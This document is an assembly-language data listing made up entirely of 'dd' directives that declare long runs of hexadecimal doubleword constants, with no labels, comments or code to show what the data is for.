dd 3EC110FFh, 0ECAF399Ch, 0F1406A6Fh, 4B9EACF2h, 29D38149h
dd 43453F11h, 39AA0AA5h, 77B46B88h, 0E0875D0Fh, 6769BE9Eh
dd 0C3BFF146h, 0DE232FD4h, 0DE5ABBDEh, 933CD4F9h, 0D1569223h
dd 0DA5E56F7h, 0FABF8D5Eh, 80CBDF3Bh, 9A9447E5h, 27EF49E9h
dd 0CB04646h, 6F13D9BBh, 2E071294h, 0BF41DCE2h, 342FF52Fh
dd 0E3A65268h, 0A1A05B4Ah, 0E2DE951Dh, 0E9A33E63h, 13F43680h
dd 578B97D8h, 7760856Fh, 3C0BA105h, 0C60535E9h, 82091D61h
dd 3AD72379h, 8A4621h, 0B4234F35h, 7DFCF83Ah, 0A598760Bh
dd 1FA1F52Ah, 6C899D33h, 2C7E517Ch, 1DEFC7A1h, 0D08EB663h
dd 0FA0BB4F2h, 5C1000C4h, 0C7F99717h, 8209BB26h, 312AE26Ah
dd 892E0BC9h, 0DCD1F2FDh, 5BA8C225h, 774970BBh, 2C32F70Eh
dd 15E3C28Fh, 0E1D582DBh, 8A89419Dh, 0B8605C40h, 0D94312EAh
dd 70E3B233h, 186C6D04h, 90FF3599h, 9FA8BD4h, 123DBD12h
dd 0CC4F8AF7h, 0BD1733F5h, 279818D1h, 0D7110051h, 37D8A028h
dd 4C0C7057h, 30AD5439h, 5B2040B9h, 2C94680Fh, 53B0B891h
dd 7E8161C9h, 0EE8E2F6Bh, 0DE3ADEh, 7B91CBEBh, 3A5081D4h
dd 0D495A790h, 2A8D12DEh, 41C480ADh, 1CF8553Fh, 6BB5750h
dd 38237EE4h, 4D6B5AB7h, 6485B6Dh, 801505ABh, 54ECF4D3h
dd 0F220FA92h, 0BC7E005h, 610F6997h, 4ADCEDF4h, 0EC95ADB4h
dd 76FE8C1Bh, 0BDDC0C02h, 0F0BFB08Fh, 0CE1E4B1Dh, 3D3C2F74h
dd 89DEADFFh, 830BF6BFh, 0D47C0370h, 14F1C11Ch, 66DD3E1Fh
dd 2B38E13Eh, 91E92C8Eh, 85112BCBh, 84E35E0Ch, 4B110C6Eh
dd 0EE3A5B8Ah, 0E863AD4Ah, 0F5DB015Dh, 570E5AC9h, 30E44BF1h
dd 0DB8053BEh, 0DF810263h, 4F22EEE5h, 854D3155h, 0B7182BCAh
dd 3C0047FDh, 9AB68668h, 9507F47Dh, 0B5BD10EEh, 0CCD70E64h
dd 0AC295E0Eh, 0C2FF8088h, 0B7572BB9h, 931B9113h, 0E1F789BBh
dd 0FDB77095h, 86DD184Bh, 1C12C27Bh, 87409h, 3B9929BFh
dd 314A0F4Dh, 868AA89h, 7C4AB600h, 2F93EC64h, 1654D3Bh
dd 83694337h, 0C47EA613h, 0DB948556h, 0C20B8495h, 718F05AEh
dd 0FF6FAB0Ch, 0DD091523h, 1281545Ah, 11BBF710h, 63000FE9h
dd 0E5E399FEh, 743E666Bh, 6AAD9DE7h, 7B238B49h, 811C9h
dd 0E58D8735h, 4BD6F655h, 89BECCC6h, 54B9D7Dh, 6828A2DDh
dd 0EE87364Bh, 5C82C976h, 8150975Fh, 6A0DB11Dh, 9AD665B2h
dd 0DD1F81C3h, 302F4D0Ch, 15B5017Ah, 0BD6A63CBh, 0F2E812C3h
dd 404E002Ch, 5FB6C5A8h, 479313E4h, 0AA27FB03h, 55E956ABh
dd 5BCB4502h, 0E530FD7Ah, 525CF3E3h, 0C36DC11Ch, 18FCE24Ch
dd 8A962C5Fh, 8C0F0989h, 868FB451h, 9BE9D7F2h, 0AD028BB8h
dd 26D8F9EEh, 0B06675CCh, 78F73AF5h, 2112AE4Eh, 0B6467DE7h
dd 0BC596AB2h, 52A3B700h, 1BE6794h, 920742DEh, 0ECDF1677h
dd 9C2559D8h, 1370F411h, 5F8382C8h, 1D51715Eh, 34E214h
dd 1901D176h, 4D03A2h, 515042F1h, 0FB6FEBFh, 0E5A5294Bh
dd 3BA1A101h, 1588EA5Bh, 404948C2h, 82146583h, 0FB25A478h
dd 42C7B30h, 29174DBDh, 2AA1826Fh, 0B5EE16D7h, 5027EF35h
dd 25BD7B99h, 8D74C1DFh, 80F2F812h, 0B4D35D89h, 97C20BB8h
dd 11375EFAh, 0E5FD4B3Dh, 7CBF6680h, 0BDBDC6E6h, 781101C2h
dd 7C45622Bh, 7E6A805Ch, 0E97A40Ch, 64E0AC5Ch, 0AD1E8601h
dd 0F7FBF0C3h, 7D465612h, 0EF94704h, 0ADB577BDh, 9EA82Dh
dd 8A83EA6Dh, 0C757B43Eh, 0C461D8B7h, 0AF0DE95Dh, 7794C21h
dd 95102908h, 0F9E40AFDh, 0A4C9A962h, 0FE34026Bh, 16FC90FCh
dd 40F95017h, 38C301BCh, 1BD68B60h, 1361F34Ch, 0D9531D0h
dd 8DCB0163h, 61ED1C15h, 2DCCB0F9h, 0D3BD23ADh, 0E92A7861h
dd 0BC72F600h, 0D98D2954h, 0FAC6B505h, 0AB629569h, 2992F6DBh
dd 0BCB74047h, 4B5AC4ABh, 1842452h, 38B82FE9h, 0F308FF2Dh
dd 78EB01CCh, 3F739C29h
dd 0BCA13AB7h, 801F2C07h, 5C765952h, 446A025Dh, 3F8EF4FEh
dd 0F979A2FDh, 0EB1B5E18h, 0AA75EC05h, 1DC9CF9Ah, 0D14A1E30h
dd 77FF8D02h, 634E14DDh, 0E9743807h, 3B482041h, 321DA305h
dd 45DBD1FFh, 0BCBFF8C4h, 56BAA51Bh, 0BCF3FD01h, 0E41C0277h
dd 26AF87Eh, 1BA00455h, 62ECB412h, 9D0BFEA8h, 0CE950CEAh
dd 0B7E925BDh, 37C2B771h, 3A370BADh, 60DCE182h, 773B62A5h
dd 0D40056C5h, 3F731728h, 86511297h, 0B2BFE61Dh, 25C8301Ch
dd 8C30A80Fh, 0AC92DDE0h, 242043A8h, 4B509039h, 91E0CCE6h
dd 0F04ECC27h, 0AB3525BAh, 85BFAC75h, 3B29FF3Fh, 0C09FCC78h
dd 7AC33382h, 9AE41B74h, 0E16E6309h, 22C6DF07h, 3177A307h
dd 0FBCB6A18h, 0C47D7225h, 0B176026Bh, 0B62DACCh, 0A18451A9h
dd 3E22FB29h, 0C4A15CDFh, 10E84440h, 6E14BD40h, 6200340Ch
dd 6027C68h, 1218C4DAh, 4490B41h, 162C113Dh, 0F7D05FFh
dd 805B098Eh, 0BEE6F705h, 9DB53E08h, 19098889h, 2371E405h
dd 0D701E682h, 1CFB8519h, 963A61DFh, 7A06BA59h, 0BCD64C70h
dd 0A51300D8h, 672B9BF3h, 0E023DDFh, 162CFF0h, 513DC084h
dd 5F9827B3h, 9584A054h, 29301609h, 0CA9475BDh, 51C82B09h
dd 465B0012h, 0FEF7B3E8h, 678CC502h, 0D766A126h, 0FF19122h
dd 1C4223Bh, 0A2B3F85Fh, 3025E04Eh, 0BA13C382h, 10BF0111h
dd 2BF5714Ah, 22067A1Bh, 0B7250249h, 2571C95Ch, 2C80E812h
dd 82738C71h, 0DC89F12Fh, 5B4038A5h, 0F854E92Eh, 1712250h
dd 5E4FBA7Fh, 2BF38853h, 929D38FCh, 2281E2DEh, 0C62B5C35h
dd 0A5FE1220h, 7FFE17A1h, 88162E33h, 28AD068h, 0C5615E6Dh
dd 0B788C325h, 860F0B75h, 565AD95Eh, 1682C27Fh, 53C67709h
dd 204A19F8h, 9667BABh, 82AABE1Bh, 8E35C793h, 29AA7696h
dd 0E1EC017Fh, 6286051Bh, 0B90CC3BCh, 0BE8508A2h, 0E3C1DDDBh
dd 7B5759B5h, 0FCE136D1h, 71CE13Eh, 1E2B7492h, 51FD8A89h
dd 6C601EF6h, 61EB027Ch, 7DB5D22Bh, 5D46B686h, 0B7DE5A7Ah
dd 301BF2F6h, 1373F18Ch, 2BD4F509h, 2D00742Eh, 0B812A0B7h
dd 0F4AD90FFh, 494982DBh, 0D3818003h, 123E4FC8h, 0F9880D18h
dd 132FECA4h, 0A19DBFDBh, 2AF3C9D7h, 15B2CFA6h, 252CAE30h
dd 73CA52B7h, 40444F7Dh, 0B1BAEC4h, 61459282h, 8B6B2DE7h
dd 3CE8D736h, 9570B24Ch, 5B1A90C7h, 59CDDD73h, 43209BC1h
dd 0A24AD5CAh, 17F447F4h, 0BB01E4BDh, 1DADC016h, 518FCD7h
dd 0E1FF3B2Ch, 0E8A0CCC0h, 282EF337h, 34AD511h, 88EF8B64h
dd 0BB0966C4h, 715F133Dh, 39D4460Dh, 5274990h, 6797D92Ch
dd 0AB93FE86h, 23084F7Ah, 118006E8h, 8C641CF7h, 0C2E0DDF4h
dd 605B5435h, 0F8B7F5h, 0C2D01088h, 671229C7h, 0AE1463Dh
dd 86BE63Ah, 271579BDh, 656271FEh, 7FE511AFh, 5C8BD170h
dd 0ECB60040h, 9B520805h, 0F01DD6A8h, 0FCC77BE7h, 0C710B21Fh
dd 7A3A4ABBh, 311A9574h, 1BCD7860h, 608B519Dh, 905205EBh
dd 49CAD497h, 0E0736CDDh, 5F0F1737h, 81CC9B90h, 99CB7383h
dd 0BD333E85h, 68BE90C5h, 0BF004D71h, 28BB5053h, 9F085866h
dd 4E8EB7E8h, 3109A07Eh, 0D51F8D95h, 15913C37h, 0F85DF81h
dd 2CF3228Ah, 8860C960h, 3CBAFAh, 6A54F06Dh, 41B529D5h
dd 95611240h, 0AA09C19Ah, 0ADB9CB57h, 71EA35D5h, 2A30D1A4h
dd 1888F3DDh, 422507F1h, 78BDF78Eh, 298F04B9h, 44AEF585h
dd 0AA51B528h, 0BAC0F59Eh, 0CE62566h, 46E12C25h, 4FD497F9h
dd 0CA74544Bh, 0E16A2730h, 92DE375Dh, 954F6B8h, 5B30FD9Dh
dd 5A3E2B85h, 7C84CA7Dh, 3DD540CAh, 2802817Ch, 9E7D143Ah
dd 59F5E0A8h, 0F8302574h, 501BDC54h, 0C7EEB506h, 35CC916h
dd 0D630745Ah, 4202A77Eh, 1D476825h, 0BBC3401Ah, 7B24F558h
dd 51E25B8h, 0E7CB755h, 0BC37B918h, 6E2D258Ah, 0BD017B6Eh
dd 50F855C8h, 0EA9000E3h, 5490955Fh, 258723A9h, 0B00EFB5h
dd 141B547Fh, 0F1271C3Ch, 0B66113B4h, 3A71E06Bh, 790F0913h
dd 0DC5E555Eh, 7231D30Fh, 0C8DB56B2h, 335630F2h, 0E9EFD772h
dd 43FD9C9h, 810583DBh, 1071D11h, 2E5E57E9h, 8957D680h
dd 3B001CFCh, 12BB5329h, 0BE1B6452h, 715A4199h, 40488087h
dd 462FE6C6h, 6E3F0BB4h, 1D556205h, 75CDD21Ch, 5BDD3C60h
dd 0F5E01D84h, 6B28C4BFh, 0D16EBB1Bh, 0ECD6AC07h, 0EB80C125h
dd 92282BCDh, 7A3AFD79h, 736D2F92h, 0D7D898Bh, 4469481Eh
dd 2D0BD66Bh, 1071B2B8h, 0A1DE6E95h, 56C623DCh, 1746D659h
dd 0D87DD604h, 1EC8AAEAh, 8F870BC7h, 0E562987Ah, 53683AD5h
dd 2B56507Ah, 5B579018h, 8206A1D0h, 0EF04FA68h, 7E893526h
dd 0D9DE9025h, 0AAB00074h, 0B4ED21F1h, 9201731Ch, 0AC3C6BEBh
dd 0DEE128C0h, 0A8C7F23Fh, 48EF8EAh, 33417002h, 7CC6C148h
dd 56532B36h, 0DF4A9BAFh, 644E70C5h, 0F7ED506h, 0B3204A09h
dd 712F5861h, 3E8B094Bh, 0D4A8DF5Dh, 0A96982BFh, 74510607h
dd 5FB2441Ah, 4029D718h, 46D65556h, 62C00016h, 4CB660BCh
dd 0B4955A33h, 9A95615Bh, 2FFF74B9h, 14590353h, 89953D18h
dd 0C0656DCFh, 859AEE1Ch, 6222C701h, 81B38AD6h, 2597FFF0h
dd 0FA620221h, 729D5B57h, 12335857h, 0E397C780h, 0FBFE6417h
dd 0BCD7FBACh, 5B31221Ah, 3F09B5BDh, 2B828D9Eh, 0CB61353Ah
dd 388C8B0h, 0F82964C9h, 0A3CD95EFh, 84601464h, 54C55FB7h
dd 9BAA11C5h, 0F4D8D75Bh, 9062F0DAh, 0F363021Ah, 919D2379h
dd 52DDA1F5h, 6CC44EBBh, 78A99565h, 437162D3h, 0B3ADB244h
dd 0AAFBF84Bh, 0B0604A14h, 0BBD32002h, 0B9D1E387h, 0D4693A00h
dd 2DFC42Fh, 7236EFB0h, 3C5C3FFCh, 4EE82B66h, 0E40BA80Bh
dd 0F65AD6BCh, 16B8F018h, 83DC094Ah, 0E6788414h, 0F34D109Fh
dd 9B8700E3h, 4148A94Fh, 962FA85Bh, 64035E88h, 0CB20BE50h
dd 4EEF8767h, 0BC00FFE7h, 47915FBFh, 55EA9556h, 0F9E0B64Dh
dd 48FBC7Bh, 346C0959h, 142C8201h, 1B255666h, 48E730Bh
dd 0B85FF852h, 0DF81C047h, 46DDC8B3h, 0E54B7A23h, 0F872438Dh
dd 0B02AA84Bh, 126A323Dh, 0E2645503h, 1C6F8E32h, 0DE04D627h
dd 0E5E0B30Bh, 3F3FE44Ah, 4C009571h, 735510F3h, 0F0128075h
dd 52E3F1E1h, 6400D943h, 3AC5D42Fh, 0DB00C60Fh, 6BBD6084h
dd 1F41575Eh, 385138C8h, 0F02EB64Ah, 97F819C7h, 49B54416h
dd 132E7C80h, 80E9DB1Dh, 8C4DB4DCh, 9ECF2A80h, 0FF90BD6Ch
dd 0F3005E6Fh, 2E070E8Ah, 7CC01385h, 8B6D13C9h, 82859BC1h
dd 0C060BB05h, 801931AAh, 805EA81h, 6143552Fh, 0A912FEE8h
dd 0ACEEB99Dh, 28388C17h, 5B9C241Ah, 90630507h, 896F2B43h
dd 293C5035h, 0C09E3E87h, 0E7650E18h, 900F1612h, 45B8E7ADh
dd 361FA002h, 0F5C78AA2h, 5147064Fh, 72D0DBC0h, 78225C7Fh
dd 4C79711Ah, 0BD1D8B00h, 0D1E50623h, 7E5CDE29h, 8B60A84Ah
dd 72BA38h, 0B1546DB8h, 0F064D042h, 480EC509h, 0A5B6540Ch
dd 0C45B2989h, 48DB670h, 0F356EA1Eh, 949BEF6Ah, 0A00B72C0h
dd 0A7255965h, 0B12DDD29h, 0D5FA894Eh, 6146FF4Fh, 205A19ECh
dd 8B0470E7h, 0DBD1FFFEh, 7A28C0CFh, 0D00D6Bh, 0CBFB1039h
dd 9D03F881h, 541FDD2Fh, 0A5DF713Ah, 0FE375F40h, 49CFD121h
dd 9DDA749Dh, 24D890Bh, 54841A57h, 0D50ED475h, 0E08A229Fh
dd 0AD0CBDF3h, 807D9159h, 8199BC4Dh, 8F168623h, 0C81CD983h
dd 901613D0h, 5EDEAD60h, 1DEE88h, 0C5E0D3B7h, 585A5D3Eh
dd 24D4605Eh, 1B451D8h
dd 3D370EFAh, 2B54C516h, 949061E0h, 9101DC67h, 0B589BAA4h
dd 602B238Dh, 3F3AD22h, 0DD566C00h, 5F6A46BDh, 1EC6E488h
dd 0CB5CF6ABh, 8BB039BBh, 0FD748529h, 5CB049C9h, 0BD2770C1h
dd 5DB53180h, 824EAE59h, 6EDB0A5Fh, 0B5C9B6D0h, 1C597653h
dd 0C58858h, 0C0D07E66h, 69056FECh, 3280E199h, 0BAD91CFAh
dd 85350019h, 0C9F65E28h, 20091DC5h, 5B793F75h, 3295882Eh
dd 15A05017h, 0E294D96h, 7B36E5Bh, 5FF2C2FDh, 0DA336B00h
dd 0DB4EB7EFh, 5C03A301h, 0A81E9B98h, 4B2613D8h, 211BD985h
dd 0C9523A71h, 18B8B7ADh, 0D2DB058Ch, 0EACBF04Ah, 0ED8DAA9Ch
dd 58A6921Ah, 0D8CB187Dh, 0B3F9E8F8h, 127DB15Ch, 7AFE1545h
dd 1A15003Ah, 8C28B3EBh, 53CE25F8h, 2F4244ECh, 7B0E1422h
dd 3DD11Ah, 0C3B78D99h, 850D00DEh, 0CC6A15B0h, 6B24D6A5h
dd 0C660E839h, 126477F0h, 0F13A9579h, 0A7CD2A4Eh, 2FE3A12Ah
dd 12BF95F0h, 1271E4FFh, 0ED41E4E6h, 7666088h, 8145D8B9h
dd 95AC11F2h, 0B6248B1Dh, 8D44C8h, 8221CCA6h, 191F69C7h
dd 8F8BE000h, 0EF42B6BEh, 254B93BAh, 89648876h, 0AB7F84FAh
dd 7D82FA32h, 0EF7BBE14h, 4E009571h, 10D96277h, 718E095Bh
dd 4A0E7A3Ah, 0BF0DF4A2h, 98B3FE00h, 8BF9C82Bh, 0A38B0D1h
dd 82E979BDh, 0BEF0A57Fh, 6A4C0851h, 0F41AD8D4h, 893FC0Ah
dd 0FE25080Dh, 9D29E0A2h, 739519A1h, 890F04B4h, 0C081E912h
dd 4EF10179h, 77DF585Bh, 0E1346101h, 0CD8B0F8Dh, 9003AFFFh
dd 5E1ACC8Eh, 895AA19Ch, 795FFBAAh, 4E201148h, 14622EE1h
dd 0D624A528h, 95010AD8h, 9D2B076Eh, 33790985h, 233E8041h
dd 47BC7B3Dh, 0CB80920Bh, 0F63DDD1Ch, 9DE72205h, 42061DAEh
dd 0FE9FF6Fh, 97343F20h, 74F400ECh, 88F071ADh, 1C139B66h
dd 8DEA41A8h, 7D41235Fh, 9B3AA906h, 9F20F2F0h, 0B931CBD8h
dd 8589592Ah, 0E117523Eh, 0B8336940h, 82FC5F1Ch, 1A5712AAh
dd 50587BABh, 330225B5h, 0AE0B70ECh, 0F58A40F0h, 5C4CB50Fh
dd 23B35400h, 4349AFF8h, 0A634BDBh, 40E9BAEBh, 32F62ABFh
dd 6FCF084Bh, 0D5A5885Ah, 22946F16h, 40E6F003h, 3C2BE8D0h
dd 1446E6ECh, 95A9E1B8h, 2D1910h, 0D381605Fh, 4892790Fh
dd 4078E447h, 0CD956118h, 411DC0E6h, 53041856h, 880D1182h
dd 4E516D8Ch, 199F710h, 0A407D781h, 0DA6B589Dh, 0C81DC805h
dd 0E594078Fh, 99E04E36h, 8BB718BEh, 822C9597h, 1EE18D31h
dd 7AD8FB55h, 4F0FAB40h, 91A55D50h, 50CE0D4Bh, 35A23422h
dd 9F687057h, 0B7C3F2F9h, 0DD2610BAh, 0E1FF1714h, 0A02502F2h
dd 4F404CF4h, 98C6702h, 3EDD909h, 5B7191D5h, 9229282Fh
dd 0C0C6044Dh, 0F8EF5234h, 4251005Bh, 0E395A8B0h, 53094581h
dd 793572B9h, 0AA8A4530h, 0E600BE8Ah, 0CC923AB6h, 301371EDh
dd 71F80A3Fh, 914304A5h, 0E149BC13h, 9E2F0428h, 36D981FDh
dd 99F52FB4h, 0DB6B60D9h, 0A25B80CBh, 0B7C7DEFDh, 4E3C165Ah
dd 41C44B8Bh, 9D309F8h, 3E78FA4Fh, 56392397h, 44B68501h
dd 0BB1478F0h, 81FB1607h, 29314A2Dh, 55E6F18Dh, 0D3AF7B45h
dd 593C50EEh, 0E6FC2825h, 31BDEC5Eh, 0DA63033Dh, 5DB16090h
dd 405E3B4Eh, 6D74F86Dh, 2A2476F9h, 502812CAh, 821270E0h
dd 4E54CD7h, 0AEE44C6Dh, 0F3B7047Bh, 5B79A2BFh, 0E8376F58h
dd 9F798813h, 0A50070FCh, 632D90B2h, 19E946Bh, 0A1999C21h
dd 6A0178D7h, 0D05837C6h, 8F03393Ch, 0C515D8Dh, 0CC5AF4F7h
dd 8B3D535Eh, 0EF9BF9F8h, 2991178h, 74129B8Ch, 55C6B8F3h
dd 126FA9Fh, 0AB3A598Eh, 2BB4026Ah, 7452FE32h, 4CC1048Eh
dd 0D482BC5Bh, 2B8ED6EDh, 3C9C6418h, 0C832FEC7h, 4F02765Bh
dd 0F9316495h, 0CBF33816h, 0FADBAAD9h, 0E49D140Dh, 646900CCh
dd 0D219113Bh, 79055630h, 18989307h, 0C6BB41C1h, 0B16A2DD9h
dd 6A51E5A9h, 91B045B7h, 0CD1C4E8Bh, 84791FBFh, 2A499D0Bh
dd 5B5ECBEAh, 0D48044DAh, 6A108220h, 5FB5092Dh, 0B9893104h
dd 287BCD3h, 978B68E7h, 0D184440Dh, 88DA9BCBh, 890CC017h
dd 0A4C953ABh, 5D05923Dh, 9979564h, 1904DFEAh, 0BCE51202h
dd 0DA4AB52Ah, 0F1804B0Eh, 0C80A891Eh, 0BF968D04h, 5E1608C2h
dd 34C1E9CDh, 0F868032Dh, 0BDF2AE13h, 0E0B515C6h, 25F0E047h
dd 43FB0D70h, 1E3CE70h, 55D5A3B0h, 85D98E66h, 858DFEB4h
dd 43E035F7h, 0D017618h, 7314F0ADh, 2B09E88Ah, 24046B8Ah
dd 0C15FDC97h, 0C577BF80h, 1E206E50h, 626023h, 0C065E11Ch
dd 2BD81EBh, 152C7D3Eh, 5B1514D5h, 30055B8h, 7CAC9837h
dd 0BC0035E6h, 0F7199CA1h, 0B034BB94h, 5F1F0918h, 0A889905Bh
dd 0AFD6B5FFh, 411731B1h, 23A5D7h, 27958961h, 4FC8087Dh
dd 414B57DBh, 803FF1CBh, 0A6C5CE25h, 771E621Ah, 0E1809AB7h
dd 0D518B8D7h, 0C2794E7Ch, 50270DF2h, 0F49A5609h, 9390B800h
dd 62425B73h, 0C07195B6h, 0E3ADBE80h, 0B00FAC19h, 0DB549D6Ch
dd 7CE6CD25h, 86051546h, 88870FCFh, 0BA9651F5h, 6C9E049h
dd 899F0F42h, 0E1EE18B4h, 0B2665D07h, 8F3F95Fh, 532A70h
dd 0B6C2D9D4h, 0EDD8529h, 0A8CFE9B9h, 16467E80h, 28705309h
dd 114BA6D8h, 4F22FACEh, 2B2926C4h, 0CBDD9ADh, 3607B53Dh
dd 399D2B38h, 0C1BA90F9h, 21389D08h, 5209C381h, 57587277h
dd 48408F15h, 12FBDCA2h, 0C8550627h, 6D0088F1h, 3656A724h
dd 4530C9Bh, 8DEE39D6h, 8FD5BFC6h, 0F74C52AFh, 0FB9A5A34h
dd 897F9D83h, 4123D199h, 7B0CE97Eh, 800003A7h, 8F8E04F3h
dd 0E40028FBh, 0A86946BAh, 829A3A4h, 3DD0F10Bh, 5544E2AFh
dd 1C649C6Dh, 0AE5E1060h, 13068D12h, 32BCD684h, 0CDD381C0h
dd 705652C0h, 0BD205AC7h, 65DE6Bh, 0A50910F7h, 668C0E41h
dd 3F3E9701h, 4720BF88h, 0FCED362Fh, 5515A125h, 30271FB7h
dd 4A0F7534h, 0BB544283h, 92422A22h, 6944EDF7h, 71000B5Bh
dd 13751C36h, 0F79A25F0h, 65318710h, 4771002h, 496D8D01h
dd 123A5F92h, 0B903BD07h, 9CB3078h, 4D185F0Bh, 5088028Dh
dd 7174CF20h, 0C403BD32h, 0B6AADE8Bh, 0FCB6A44Bh, 90E8BD00h
dd 0FF20C723h, 7FAE6012h, 0EF78CBFh, 0B9501600h, 0BE45DA41h
dd 8C1B072Ch, 2411729Dh, 0E94994DDh, 0F9B7EC18h, 0B84A9D78h
dd 621CAA08h, 6B6A6C51h, 0AF47BBFCh, 60505BE0h, 6F81510Fh
dd 0D1804028h, 4C20BEF1h, 86F2492Ch, 49295C49h, 549960D5h
dd 45EA9761h, 34C049EDh, 0B59A5C25h, 1C40A050h, 279070BFh
dd 0BBCE1B32h, 7B18FD25h, 5ABF871Eh, 4452C6F6h, 0E712D525h
dd 3E4611E7h, 48E5CA01h, 0CA99A07Ah, 500F224Eh, 0DBDB33F9h
dd 4325EF96h, 250389F2h, 0EB129031h, 8BD24288h, 0DD81FA4Eh
dd 2E622F01h, 0D7B53193h, 0B80120BBh, 9E713300h, 39E2EEF4h
dd 97090092h, 130AEB81h, 9897161Ah, 5CC780C2h, 0CD15DD3Dh
dd 18982F0Ch, 0E5950901h, 0C99C700Ch, 8C7FF302h, 4828E01h
dd 0E14E2CFAh, 84D89E7Bh, 6AB5DFCh, 62D98B46h, 971FCC95h
dd 0F038D6D8h, 0B7F94FC6h, 0CF9534BCh, 601A64FDh, 7F39316Ch
dd 29012587h, 0DF911090h, 48CA274Eh, 0B25FF454h, 80339167h
dd 528D22C8h, 461CEA2Eh, 17005B99h, 30F0C91Bh, 0A1E92D24h
dd 0B727F054h, 0FC37004Bh, 27687332h, 5FE02D09h, 8DCDFDEEh
dd 0F27677E0h, 5B0B12EBh, 0CCE8F0BAh, 0EEFCCD25h, 591EB3E9h
dd 0C33FFCh, 0AB889C0Fh, 9758BD50h, 3F5B1F40h, 158FBF90h
dd 0E0D211E4h, 900B761h
dd 0DBB310Fh, 6C406Dh, 0B966585Ah, 9061575Eh, 0C2CFEDBDh
dd 845F86AAh, 0CCEB0CF4h, 3924D756h, 0AA38B289h, 0DAF20D24h
dd 24C183A2h, 2F62F23h, 60A056F3h, 921D2D99h, 2613E595h
dd 6E3F00A1h, 9AA703FDh, 8D50FC14h, 51EA9D84h, 0C4AD2788h
dd 85A4DE27h, 9D9DB1Dh, 0DE537CEDh, 2BCB7501h, 0BD33A1B7h
dd 0A7BAB4CFh, 0AFBF3C3Ah, 0D63E5636h, 3A43B09Fh, 279C00A7h
dd 48CE9F91h, 0FF2DF14Ch, 0E0CC3D1h, 758D297Bh, 8809A3D3h
dd 0C844A58Ch, 6F201700h, 64AE3769h, 0E09202C6h, 0AD1F1D8Ah
dd 6A5B3890h, 366E025Ah, 0E3C92C03h, 0AA10EC95h, 90141605h
dd 39128E57h, 6CD7BA7Dh, 0D15802B9h, 0E9927D18h, 517345F7h
dd 0D1AC3F75h, 9222058h, 0A615F99Dh, 8CE989A7h, 0DD70A65Eh
dd 0EF8080CDh, 0BC109A59h, 2C450080h, 0CB816A48h, 5D27ADDAh
dd 0D6505E55h, 67131546h, 99AA247h, 7FE0F31Ch, 683967E9h
dd 0C0F44C87h, 0A7B08772h, 33D70092h, 2E02BB06h, 27BC1CB7h
dd 0D278102Dh, 49CB00C3h, 0AE67C4F7h, 0D9028AD4h, 9DD7ECE8h
dd 0C0797F5Fh, 0C03274FAh, 4DCC72E6h, 0C73CB402h, 5E7A3DF3h
dd 0BCF8C4B1h, 6BA5ACh, 1033602h, 8955685Bh, 0ADAF719Ah
dd 0BC181F04h, 8C19FCAFh, 6BEEAF02h, 0E2BF30F1h, 91585F64h
dd 98947997h, 202D6C60h, 0D7BF1BC2h, 0C6995E61h, 8B582DCEh
dd 0DA0864BBh, 853BC0ABh, 97843065h, 49B66F24h, 96478F5h
dd 32E58D01h, 4F38ECF7h, 0C9FEEC83h, 135C798Dh, 2642AFFCh
dd 5E46BABFh, 0E67E2D3Fh, 0F5C82B61h, 67BFD1E4h, 717642FAh
dd 4477E9FEh, 72A4AE57h, 29B53409h, 0E7D2FFE5h, 0B1DA768Dh
dd 4709C958h, 37780C0Fh, 4CD2954Bh, 80C92E12h, 0DEBFE368h
dd 20F3C206h, 25153DE9h, 3BE63BB7h, 0C7F9BB04h, 31BC4D4Ch
dd 81802788h, 2E4BF6CFh, 1280A95Fh, 3E37292Fh, 6695394Ah
dd 45BD3C3Ch, 0AA38612Eh, 0EB91054Dh, 38923DC6h, 895389A9h
dd 5E0BB510h, 0FE66EC48h, 0A00FB92Eh, 0DEB2A6h, 0EA722CE7h
dd 8B4FAD12h, 5DD77C25h, 919D0B18h, 8A891641h, 147B1109h
dd 5024F325h, 36502662h, 2E315E1h, 29CD75FCh, 292A31C0h
dd 0DEF90B0Ch, 0EA7CC02Bh, 432A09DCh, 0C55976F2h, 0F918CC05h
dd 6EF2AEh, 8C334521h, 0F88FFF95h, 74FD2590h, 660935E4h
dd 79946ABBh, 60FCE034h, 1FBE820Fh, 2B2CBE40h, 0E9B52A8Bh
dd 6E614EE9h, 72090026h, 0D780C4E5h, 1BB297B5h, 314FA17Fh
dd 4A28C18Dh, 0C883DA5Bh, 0E0D5C018h, 0FD0125F7h, 19A9E781h
dd 0F86A6CBDh, 94EED2A9h, 7C6BAE27h, 7F001823h, 0FAD41E6Fh
dd 85292D51h, 5F598455h, 0B608B2AAh, 0F7155E80h, 0A56A636h
dd 30907F67h, 0F6B04E8h, 1728FB8Eh, 0C02E1D28h, 0B5ED031Ah
dd 0BC8C6743h, 85C2A361h, 857ABAh, 0B7EA599Eh, 9815B3C6h
dd 8D0F2402h, 0E845B1h, 0BAC27546h, 7804F3B4h, 0CB69BB2Dh
dd 0AE9A34ABh, 69ADD156h, 0D2DFCE8h, 0A7367B4Bh, 0A850A373h
dd 484201F9h, 0B3C22AD0h, 780B3A69h, 7E3E5E1Ch, 0DB1C1D46h
dd 9BD30037h, 0FA7AE1CBh, 89519412h, 0AE5B95AFh, 846E292Ch
dd 8BEF813Ch, 777492C0h, 1533E910h, 91DFAB00h, 0A071FDA7h
dd 57CF018Bh, 480798B8h, 0A605307Fh, 5E062016h, 58B33ABCh
dd 1F9625Ah, 0F9B097BCh, 0FDCAD84Bh, 0ED4AF634h, 0DF30BD3Ch
dd 0BD0317A4h, 8FEBD19h, 131509B5h, 1A6EFA60h, 0B8759B01h
dd 2F8092A6h, 8D29FF02h, 36875BDh, 579404E1h, 0E3B602DCh
dd 19CD9D33h, 4596E655h, 0D9756044h, 0FBDD094Bh, 0E388123Eh
dd 25BB4BDFh, 0CBEDA8F9h, 1932773Fh, 2569597Fh, 6AF91EA2h
dd 0DE8DDCh, 0FCFF4C8Eh, 0A95BF03Ah, 0BBB2CC01h, 51CBBC40h
dd 0F810293Ah, 1A1D73A3h, 92825041h, 743975C8h, 86BF8F02h
dd 0EF733244h, 20B380B4h, 0DAF45B4Ch, 0F7E29B97h, 9C4371F9h
dd 0AA546D5Fh, 85DBEB04h, 0A168CAABh, 2120CA79h, 2929B7B1h
dd 7BB7465Ah, 29D178FDh, 6B3A1904h, 73E8E94Dh, 84552380h
dd 583E5DAAh, 8C4E001Bh, 0C3CC8826h, 0C89E1F1Dh, 0C259EFCFh
dd 0EEE95F85h, 0A176A7BBh, 0D4CC35A7h, 0D5E30F89h, 60627D15h
